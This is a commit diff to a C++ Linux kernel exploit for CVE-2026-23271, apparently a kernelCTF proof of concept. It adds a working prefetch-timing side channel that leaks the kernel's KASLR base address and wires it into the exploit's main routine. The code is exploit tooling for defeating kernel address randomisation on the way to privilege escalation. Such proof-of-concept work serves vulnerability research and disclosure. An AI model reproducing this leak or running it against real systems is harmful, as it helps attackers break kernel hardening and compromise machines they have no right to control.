update exploit

Author: simond67

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

@@ -28,14 +28,101 @@ extern "C" {
 #include <time.h>
 }
 
+#include <algorithm>
+#include <limits>
+#include <optional>
 #include <vector>
 
 #include <xdk/core.h>
 #include <xdk/payloads/PayloadBuilder.h>
 #include <xdk/util/Register.h>
-#include <xdk/util/pwn_utils.h>
+#include <xdk/util/error.h>
 #include <xdk/postrip.h>
 
+namespace {
+
+constexpr uint64_t KASLR_START = 0xFFFFFFFF81000000ULL;
+constexpr uint64_t KASLR_END   = KASLR_START + 0x40000000ULL;
+constexpr uint64_t KASLR_SLOT_SIZE = 0x200000ULL;
+
+inline __attribute__((always_inline)) uint64_t rdtsc_begin_() {
+    uint64_t a, d;
+    asm volatile("mfence\n\t" "rdtscp\n\t"
+                 "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t"
+                 "xor %%rax, %%rax\n\t" "lfence\n\t"
+                 : "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx");
+    return (d << 32) | a;
+}
+inline __attribute__((always_inline)) uint64_t rdtsc_end_() {
+    uint64_t a, d;
+    asm volatile("xor %%rax, %%rax\n\t" "lfence\n\t" "rdtscp\n\t"
+                 "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "mfence\n\t"
+                 : "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx");
+    return (d << 32) | a;
+}
+inline __attribute__((always_inline)) void prefetch_(uint64_t addr) {
+    asm volatile("prefetchnta (%0)\n\t" "prefetcht2 (%0)\n\t" : : "r"(addr));
+}
+inline size_t sidechannel_(uint64_t addr) {
+    size_t t = rdtsc_begin_();
+    prefetch_(addr);
+    return rdtsc_end_() - t;
+}
+inline uint64_t slot_to_addr_(size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE); }
+inline uint64_t abs_diff_(uint64_t a, uint64_t b) { return a > b ? a - b : b - a; }
+inline uint64_t compute_median_(std::vector<uint64_t> v) {
+    size_t n = v.size() / 2;
+    std::nth_element(v.begin(), v.begin() + n, v.end());
+    return v[n];
+}
+inline std::optional<uint64_t> try_find_edge_(const std::vector<uint64_t> &timings, uint64_t window_size) {
+    if (timings.size() < window_size) return std::nullopt;
+    uint64_t median = compute_median_(timings);
+    uint64_t cur = 0;
+    for (size_t k = 0; k < window_size; k++) cur += abs_diff_(timings[k], median);
+    uint64_t best = cur;
+    std::optional<size_t> best_slot = 0;
+    for (size_t i = 1; i <= timings.size() - window_size; i++) {
+        cur -= abs_diff_(timings[i - 1], median);
+        cur += abs_diff_(timings[i + window_size - 1], median);
+        if (cur > best) { best = cur; best_slot = i; }
+    }
+    return best_slot;
+}
+inline std::optional<uint64_t> try_leak_kaslr_base_(uint64_t window_size, int samples) {
+    size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
+    std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max());
+    for (int i = 0; i < samples; i++)
+        for (size_t s = 0; s < slots; s++) {
+            uint64_t t = sidechannel_(slot_to_addr_(s));
+            if (t < timings[s]) timings[s] = t;
+        }
+    auto slot = try_find_edge_(timings, window_size);
+    if (slot) return slot_to_addr_(*slot);
+    return std::nullopt;
+}
+inline std::optional<uint64_t> find_majority_(const std::vector<std::optional<uint64_t>> &slots) {
+    uint64_t cand = 0; size_t count = 0;
+    for (const auto &s : slots) {
+        if (count == 0) { if (s) { cand = *s; count = 1; } }
+        else if (s && *s == cand) count++; else count--;
+    }
+    size_t actual = 0;
+    for (const auto &s : slots) if (s && *s == cand) actual++;
+    if (actual > slots.size() / 2) return cand;
+    return std::nullopt;
+}
+
+} // namespace
+
+static uint64_t leak_kaslr_base_local(uint64_t window_size, int samples, int trials) {
+    std::vector<std::optional<uint64_t>> cands;
+    for (int i = 0; i < trials; i++) cands.push_back(try_leak_kaslr_base_(window_size, samples));
+    auto base = find_majority_(cands);
+    if (!base) throw ExpKitError("Failed to leak KASLR base");
+    return *base;
+}
+
 INCBIN(target_db, "target_db.kxdb");
 __asm__(".section .text\n");
 
@@ -2335,9 +2422,10 @@ int main(int argc, char *argv[])
         }
         if (!ktext) {
 #ifndef KASLR_FIXED
-            ktext = leak_kaslr_base(g_target->GetKernelPageCount(),
-                                    /* samples = */ 100, /* trials = */ 3);
-            log_dbg("leak_kaslr_base returned ktext=0x%lx",
+            ktext = leak_kaslr_base_local(/* window_size = */ 11,
+                                          /* samples = */ 100,
+                                          /* trials  = */ 9);
+            log_dbg("leak_kaslr_base_local returned ktext=0x%lx",
                     (unsigned long)ktext);
 #else
             ktext = 0xffffffff81000000;